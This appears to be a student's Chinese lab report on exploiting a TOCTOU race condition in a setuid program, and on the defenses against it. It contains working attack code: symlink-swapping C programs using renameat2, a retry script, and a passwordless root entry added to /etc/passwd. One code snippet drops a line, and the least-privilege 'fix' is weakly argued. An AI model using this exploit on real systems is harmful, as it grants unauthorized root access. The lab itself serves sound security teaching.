

关闭防护机制

Ubuntu 操作系统里有内置的防止竞态条件攻击的安全措施，它限制谁可以跟随符号链接。根据文档说明，全局可写的粘性目录（例如 /tmp）中的符号链接只能在符号链接的所有者和跟随者和目录所有者的其中之一相匹配时才能被跟随。Ubuntu 20.04 还引入了一种新的安全机制，防止 root 用户向由他人拥有的 /tmp 文件中写入数据。

```
seed@VM101:~/Downloads/Labsetup$ sudo sysctl -w fs.protected_symlinks=0
fs.protected_symlinks = 0
seed@VM101:~/Downloads/Labsetup$ sudo sysctl fs.protected_regular=0
fs.protected_regular = 0
seed@VM101:~/Downloads/Labsetup$
```

I

存在漏洞的程序

以下是一个看似无害的程序（vulp.c），它包含一个竞态条件漏洞。

```
#include <stdio.h>
#include<unistd.h>

int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;

    /* 获取用户输入 */
    scanf("%50s", buffer );

    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}
```

该程序是一个拥有 root 权限的 setuid 程序，它会在临时文件 /tmp/XYZ 的末尾添加用户输入的内容。由于代码以 root 权限运行（有效用户 ID 为 0），因此可以覆盖任何文件。为了防止自己意外覆盖他人的文件，程序首先检查自己的真实用户 ID 是否具有对文件 /tmp/XYZ 的修改权限，这就是第 **A** 行 access() 调用的目的。如果确实有权限，程序会在第 **B** 行打开该文件并往其中添加用户输入的内容。

乍一看似乎这个程序没有问题。但是，在检查（access）和使用（fopen）之间存在一个时间窗口，在这段时间里，被 access() 检查的文件可能与被 fopen() 使用的文件不是同一个，尽管它们具有相同的文件名 /tmp/XYZ。如果攻击者能够在该时间窗口内使 /tmp/XYZ 成为指向 /etc/passwd 的符号链接，则可以导致用户输入被添加到 /etc/passwd 中，由此获得 root 权限。由于该漏洞运行在 root 权限下，因此它有权限修改任何文件。

我们首先编译上述代码，并将可执行程序转换为一个由 root 拥有的 setuid 程序

```
seed@VM101:~/Downloads/Labsetup$ gcc vulp.c -o vulp
seed@VM101:~/Downloads/Labsetup$ sudo chown root vulp
seed@VM101:~/Downloads/Labsetup$ sudo chmod 4755 vulp
seed@VM101:~/Downloads/Labsetup$
```

任务 1: 选择我们的目标

我们的目的是利用程序中的竞态条件漏洞来修改一个对我们来说不可写的文件 /etc/passwd。通过利用这一漏洞，我们希望向该文件中添加一条记录，创建一个具有 root 权限的新用户帐户。在这个用户密码文件中，每个用户都有一个记录，它由七个字段组成（通过冒号分开）。以下是 root 用户的记录。

```
root:x:0:0:root:/root:/bin/bash
```

对于 root 用户来说，第三个字段（用户 ID 字段）的值为 0。也就是说，在 root 用户登录时，其进程的用户 ID 将被设置为 0，从而赋予该进程 root 权限。实际上，root 帐户的权利并不来源于其名称，而是源自用户的 ID 字段。如果想创建一个具有 root 权限的新帐户，只需在该字段中放入 0 即可。

每个条目还包含一个密码字段，它是第二个字段。在上面的示例中，此字段设置为 "x"，表示密码存储在另一个名为 /etc/shadow 的文件中。这就意味着我们还需要利用竞态条件漏洞在 shadow 文件中也添加一条记录。这并不难做到，但是我们有一种更简单的方法。与其将 "x" 放入密码文件中，我们可以直接将密码放在那里，这样操作系统就不会去 shadow 文件中查找密码。

密码字段并不存放实际的密码，而是存储其单向哈希值。为了得到一个密码的单向哈希值，我们可以在自己的系统中使用 adduser 命令创建一个新用户，并从 shadow 文件中获取该密码的单向哈希值。我们也可以简单地复制 seed 用户记录中的值，因为我们知道其密码是 dees。有趣的是，在 Ubuntu 的 Live CD 中有一个用于无口令帐户的神奇值，该值为 U6aMy0wojraho（第6位字符是零，不是字母 O）。如果我们把这个值放在用户记录的密码字段内，不需要密码就可以进入到这个用户的账号。

为了验证这个魔法口令是否有效，我们手动（作为超级用户）将以下条目添加到 /etc/passwd 文件的末尾。请报告你是否不用输入任何口令就能登录 test 帐户，登录后检查一下您是否拥有 root 权限

```
geoclue:x:118:128::/var/lib/geoclue:/usr/sbin/nologin
usbmux:x:119:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
avahi:x:120:129:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:121:131:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
saned:x:122:133::/var/lib/saned:/usr/sbin/nologin
colord:x:123:134:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gdm:x:124:135:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:125:136:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

插入完成后，现在提示输出 Password 的时候，只需敲一下回车键即可登录，登录后尝试 vim 一个只有 root 权限才能修改的文件 /etc/passwd，发现可以访问，说明创建 test 用户成功。之后的目标就是不使用 sudo 权限，利用特权程序中的竞态条件漏洞完成同样的修改。

```
seed@VM101:~/Downloads/Labsetup$ su test
Password:
root@VM101:/home/seed/Downloads/Labsetup#
```

从密码文件中删除该记录：

```
seed@x:122:133:./var/lib/seed:/usr/sbin/nologin
colord:x:123:134:colord colour management daemon,,:/var/lib/colord:/usr/sbin/nologin
gdm:x:124:135:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:125:136:NetworkManager OpenVPN,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
user1:x:1002:1002:./home/user1:/bin/sh
-- INSERT --
```

49,1

任务 2: 启动竞态条件攻击

任务 2.A: 模拟一个慢速机器

让我们假设这台机器非常慢，在 `access()` 和 `fopen()` 之间存在 10 秒的时间窗口。为了模拟这种情况，我们可以在两者之间添加一个 `sleep(10)`。程序如下：

```
if (!access(fn, W_OK)) {
    sleep(10);
    fp = fopen(fn, "a+");
    ...
}
```

加上这行以后，重新编译后的 vulp 程序将暂停 10 秒。你的任务是在这 10 秒内做一些事情，以便当程序在 10 秒后恢复运行时可以帮您添加一个具有 root 权限的帐户。

```
if (!access(fn, W_OK)) {
    sleep(10);
    if (!fp) {
        perror("Open failed");
        exit(1);
    }
    fwrite("\n", sizeof(char), 1, fp);
    fwrite(buffer, sizeof(char), strlen(buffer), fp);
    fclose(fp);
} else {
```

这样，在这段时间里可以将 `/tmp/XYZ` 重定向到 `/etc/passwd`。

先重新编译程序并设置为 set-uid 程序，之后使用 `ln -sf /dev/null /tmp/XYZ` 将 `/tmp/XYZ` 重定向到 `/dev/null`，来通过 `access` 的检查。

```
seed@VM101:~/Downloads/Labsetup$ gcc vulp.c -o vulp
seed@VM101:~/Downloads/Labsetup$ sudo chown root vulp
seed@VM101:~/Downloads/Labsetup$ sudo chmod 4755 vulp
seed@VM101:~/Downloads/Labsetup$ ln -sf /dev/null /tmp/XYZ
seed@VM101:~/Downloads/Labsetup$ ls -ld /tmp/XYZ
lrwxrwxrwx 1 seed seed 9 Nov 12 15:33 /tmp/XYZ -> /dev/null
```

运行程序，输入要添加的字符串

```
seed@VM101:~/Downloads/Labsetup$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
seed@VM101:~/Downloads/Labsetup$
```

立即在另一个终端中使用命令，重定向到 /etc/passwd

```
seed@VM101:~/Downloads/Labsetup$ ln -sf /etc/passwd /tmp/XYZ
```

回到第一个终端，发现10s后，程序运行结束，没有提示错误

```
seed@VM101:~/Downloads/Labsetup$ ./vulp
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
seed@VM101:~/Downloads/Labsetup$
```

使用sudo vim检查，发现成功添加

```
seed:x:1001:1001::/home/seed:/bin/bash
telnetd:x:113:120::/nonexistent:/usr/sbin/nologin
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
rtkit:x:115:122:RealtimeKit,,,:/proc:/usr/sbin/nologin
cups-pk-helper:x:116:123:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
lightdm:x:117:126:Light Display Manager:/var/lib/lightdm:/bin/false
geoclue:x:118:128::/var/lib/geoclue:/usr/sbin/nologin
usbmux:x:119:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
avahi:x:120:129:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
pulse:x:121:131:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
saned:x:122:133::/var/lib/saned:/usr/sbin/nologin
colord:x:123:134:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gdm:x:124:135:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:125:136:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
user1:x:1002:1002::/home/user1:/bin/sh

test:U6aMy0wojraho:0:0:test:/root:/bin/bash
```

同时su test，发现也可以成功登录

```
seed@VM101:~/Downloads/Labsetup$ su test
Password:
root@VM101:/home/seed/Downloads/Labsetup#
```

[任务 2.B: 真正的攻击](#)

在前面的任务中，我们实际上是“作弊”了，因为我们要求程序减慢运行速度以便我们发动攻击。这显然不是一个真实的攻击。在这个任务中，我们将执行真正的攻击。在此之前，请确保从 vulp 程序中删除了 sleep() 语句。

竞态条件攻击中的典型策略是在目标程序运行时并行运行攻击程序，希望关键步骤能够在那个时间窗口内完成。当然，这样的概率是很低的，主要是因为那个时间窗口比较短。但我们可以反复进行攻击，直到成功为止。

在模拟攻击过程中，我们使用 "ln -s" 命令来创建或改变符号链接。现在我们需要在程序中做到这一点。可以使用 C 语言中的 symlink() 来创建符号链接。由于 Linux 系统不允许在一个链接已存在的情况下创建新的链接，因此需要先删除旧的链接。以下是一个如何先删除链接再使 /tmp/XYZ 指向 /etc/passwd 的 C 代码片段，请编写你的攻击程序。

```
unlink("/tmp/XYZ");  
symlink("/etc/passwd", "/tmp/XYZ");
```

因为我们需要多次运行存在漏洞的程序，所以我们将编写一个程序来做。为了避免手动为 vulp 程序输入内容，可以使用输入重定向。具体做法是将我们的输入保存在一个文件中，并通过 "vulp < inputFile" 来让 vulp 从该文件获取输入（也可以使用管道）。

攻击成功需要一段时间，因此我们需要一种自动检测攻击是否成功的办法。一个简单的办法是监控文件的时间戳。以下是一个 shell 脚本，它运行 "ls -l" 命令，该命令输出有关文件的信息，包括最后修改时间。通过比较此命令的输出与先前产生的输出，我们可以判断文件是否已被修改。

下面的程序循环运行存在漏洞的程序（vulp），它的输入是 echo 通过管道提供的。你需要决定实际输入的内容。如果攻击成功，即密码被修改了，则脚本将停止。你需要有些耐心，攻击成功通常会发生在 5 分钟内。

```
#!/bin/bash  
  
CHECK_FILE="ls -l /etc/passwd"  
old=$( $CHECK_FILE )  
new=$( $CHECK_FILE )  
while [ "$old" == "$new" ]      ← 检查 /etc/passwd 是否被修改  
do  
    echo "your input" | ./vulp ← 运行存在漏洞的程序  
    new=$( $CHECK_FILE )  
done  
echo "STOP... The passwd file has been changed"
```

当你的脚本终止时，登录到 test 用户，验证是否具有 root 权限。然后在攻击程序的终端窗口中按 Ctrl-C 停止攻击程序。

如果10分钟后，您的攻击仍未成功，则可以停止攻击，并检查 /tmp/XYZ 文件的所有权。如果此文件的所有者成为 root 用户，请手动删除此文件，然后重试攻击，直到攻击成功。请在实验报告中记录这一观察结果。在任务 2.C 中，我们将解释原因并提供一种改进的攻击方法。

这个脚本会不断尝试向/etc/passwd 中添加新记录，直到检查到/etc/passwd 被修改为止。同时还需要一个程序来不断修改/tmp/XYZ，使得它交替指向/etc/passwd 和/dev/null：我编写了attackcjw.c


```

/home/seed/Downloads/Labsetup/attackcjw.c - Mousepad
File Edit Search View Document Help
#include <unistd.h>

int main() {
    while (1) {
        unlink("/tmp/XYZ");
        symlink("/dev/null", "/tmp/XYZ");
        usleep(1000);

        unlink("/tmp/XYZ");
        symlink("/etc/passwd", "/tmp/XYZ");
        usleep(1000);
    }
}

```

理想的情况是，在执行symlink("dev/null", "/tmp/XYZ")以后，access(fn, W_OK)返回true。之后立刻执行symlink("/etc/passwd", "/tmp/XYZ")，将/tmp/XYZ 重定向到 /etc/passwd，最后成功写入/etc/passwd。

```
seed@VM101:~/Downloads/Labsetup$ gcc vulp.c -o vulp
seed@VM101:~/Downloads/Labsetup$ sudo chown root vulp
seed@VM101:~/Downloads/Labsetup$ sudo chmod 4755 vulp
seed@VM101:~/Downloads/Labsetup$ gcc attackcjw.c -o attackcjw
seed@VM101:~/Downloads/Labsetup$
```

编译并在另一个终端运行attackcjw

```
seed@VM101:~/Downloads/Labsetup$ ./attackcjw
```

运行./target_process.sh的输出如下：

```

No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission

```

注意到在某次输出No permission之后就不输出了。

检查/tmp/XYZ 的权限，发现 owner 变成了 root，导致攻击失败：

```
seed@VM101:~/Downloads/Labsetup$ ll /tmp/XYZ
-rw-rw-r-- 1 root seed 151182 Nov 12 16:09 /tmp/XYZ
seed@VM101:~/Downloads/Labsetup$
```

反复尝试后依然失败，解决见下一个任务

[任务 2.C: 一种改进的攻击方法](#)

在任务 2.B 中，如果你已正确完成所有操作，但仍无法成功攻击，请检查 /tmp/XYZ 的所有权。您会发现 /tmp/XYZ 的所有者已成为 root（通常应该是 seed）。如果发生这种情况，你的攻击将永远不会成功，因为你的攻击程序以 seed 的权限运行，无法再删除或 unlink() 它。这是因为 /tmp 文件夹有一个“粘性”位，这意味着只有文件的所有者才能删除该文件，即使该文件夹是全局可写的。——我的确实是 root

在任务 2.B 中，我们让你使用 root 的权限删除 /tmp/XYZ，然后再次尝试你的攻击。而不希望的情况随机发生，因此通过重复攻击（在 root 的“帮助”下），你最终将在任务 2.B 中取得成功。显然，从 root 获取帮助并不是真正的攻击。我们想摆脱它，并在没有 root 帮助的情况下做到这一点。

这种情况发生的主要原因是我们的攻击程序有问题，同样也有一个竞态条件问题，正是我们试图在受害者程序中利用的问题。（这很有讽刺性！）

攻击程序在删除 /tmp/XYZ（即 unlink()）之后，在将名称链接到另一个文件（即 symlink()）之前立即执行 access 函数。删除现有符号链接并创建新符号链接的操作不是原子性的（它涉及两个单独的系统调用）。因此，如果函数执行发生在中间，并且目标 Set-UID 程序有机会运行其 fopen(fn, "a+") 语句，它将创建一个以 root 为所有者的新文件。之后，你的攻击程序将无法再更改 /tmp/XYZ。

基本上，使用 unlink() 和 symlink() 方法，我们的攻击程序中存在竞态条件。因此，当我们试图利用目标程序中的竞态条件时，目标程序可能会意外地“利用”我们攻击程序中的竞争条件，从而击败我们的攻击。

为了解决这个问题，我们需要使 unlink() 和 symlink() 原子化。幸运的是，有一个系统调用可以让我们实现这一点。更准确地说，它允许我们原子地交换两个符号链接。下面的程序首先创建两个符号链接 /tmp/XYZ 和 /tmp/ABC，然后使用 renameat2 的系统调用来原子地切换它们。这允许我们在不引入任何竞争条件的情况下更改 /tmp/XYZ 指向的内容。

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

int main()
{
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
    renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
    return 0;
}
```

请使用此新策略修改你的攻击程序，然后再次尝试你的攻击。如果一切都正确完成，你的攻击应该能够成功。

修改攻击代码：

```

/home/seed/Downloads/Labsetup/attackcjw.c - Mousepad
File Edit Search View Document Help
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>

int main() {
    unsigned int flags = RENAME_EXCHANGE;
    unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
    unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");

    while (1) {
        renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
        usleep(1000);
    }
}

```

重新编译运行attackcjw

```
seed@VM101:~/Downloads/Labsetup$ ./attackcjw
```

在另一个终端运行target_process.sh 发现成功了

```
No permission
STOP... The passwd file has been changed
```

检查/etc/passwd 发现成功添加

```
colord:x:123:134:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
gdm:x:124:135:Gnome Display Manager:/var/lib/gdm3:/bin/false
nm-openvpn:x:125:136:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
user1:x:1002:1002:~/home/user1:/bin/sh

test:U6aMy0wojraho:0:0:test:/root:/bin/bash

```

任务 3: 防护措施

任务 3.A: 应用最小权限原则

本实验中的漏洞程序的根本问题是违反了最小权限原则。程序员知道用户运行此程序时可能会过于强大，因此引入了 access() 以限制用户的权力。然而，这不是正确的做法。更好的方法是应用最小权限原则，即如果用户不需要某种特权，则该特权需要被禁用。

可以使用 setuid 系统调用来暂时禁用 root 权限，并在必要时重新启用它。请使用此方法修复程序中的漏洞，然后再次进行攻击，看能否成功。请记录你的观察结果并提供解释。

我们删除vulp后重新编译，这次不需要设置set-uid权限，也不需要root权限

```
seed@VM101:~/Downloads/Labsetup$ rm -rf vulp
seed@VM101:~/Downloads/Labsetup$ gcc vulp.c -o vulp
```

之后运行attackcjw攻击程序和脚本，发现始终输出no permission


```
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
No permission
```

说明只要不给程序过多root权限，就可以避免竞态条件问题

[任务 3.B: 使用 Ubuntu 内置方案](#)

Ubuntu 10.10 及以上版本具有内置的防止竞态条件攻击的安全方案。在本任务中，你需要通过以下命令将此保护措施重新开启：

```
$ sudo sysctl -w fs.protected_symlinks=1
```

在开启保护措施后进行攻击。请描述你的观察结果。另外还需解释以下问题：

1. 此保护方案是如何工作的？
2. 此方案有何限制？

开启保护措施

```
seed@VM101:~/Downloads/Labsetup$ sudo sysctl -w fs.protected_symlinks=1
fs.protected_symlinks = 1
seed@VM101:~/Downloads/Labsetup$
```

再次尝试攻击，结果如下：

```
No permission
Open failed: Permission denied
No permission
Open failed: Permission denied
```

发现交替输出 No permission 和 Open failed: Permission denied，No permission 是因为 vulp.c 中 access(fn, W_OK) 返回 false，也就是检查没有通过。Open failed: Permission denied 则是系统层面的保护措施。

工作原理：

当设置 `fs.protected_symlinks=1` 时，会启用内核层级的防护机制，主要用于防范在具有粘滞位（sticky bit）且全局可写的目录（如 `/tmp` 或 `/var/tmp`）中发生的符号链接攻击。

在这类“全局可写且粘滞”的目录中，只有当符号链接的拥有者与试图访问该链接的进程的有效用户 ID（EUID）一致时，内核才允许该进程追踪此符号链接。

结合我们的攻击场景来看：

- 目录： `/tmp`（全局可写并设置了粘滞位）。
- 符号链接： `/tmp/XYZ`。
- 符号链接的拥有者：用户 `seed`（由 `./attack` 程序创建）。
- 尝试追踪链接的进程：程序 `./vulp`。
- 进程的 EUID： `root`（用户 ID 为 0）。
- 权限检查：进程的 EUID (`root`) 是否等于符号链接的拥有者 (`seed`)？结果：不相等。

因此，当以 `root` 权限运行的 `vulp` 程序在执行 `fopen()` 并试图追踪由 `seed` 用户所拥有的符号链接 `/tmp/XYZ` 时，内核会拒绝该操作，导致 `fopen()` 调用失败，从而成功阻止对 `/etc/passwd` 文件的写入。

限制：

虽然该机制能够提供有效防护，但也存在一些明显不足：

- 防护范围有限：该机制仅对同时满足“全局可写”与“设置粘滞位”条件的目录生效。如果存在漏洞的程序操作的是其他目录（例如配置不当的 `/var/www/uploads` 目录，该目录全局可写但未设置粘滞位），则此类防护将无法发挥作用。
- 所有权依赖限制：该机制依赖于“进程 EUID”与“符号链接拥有者”之间的不一致性来实现阻断。若攻击者能够通过其他漏洞使 `root` 用户自行创建符号链接，那么 `vulp` 程序（EUID 为 `root`）在追踪由 `root` 拥有的符号链接时将被允许，攻击仍可能成功。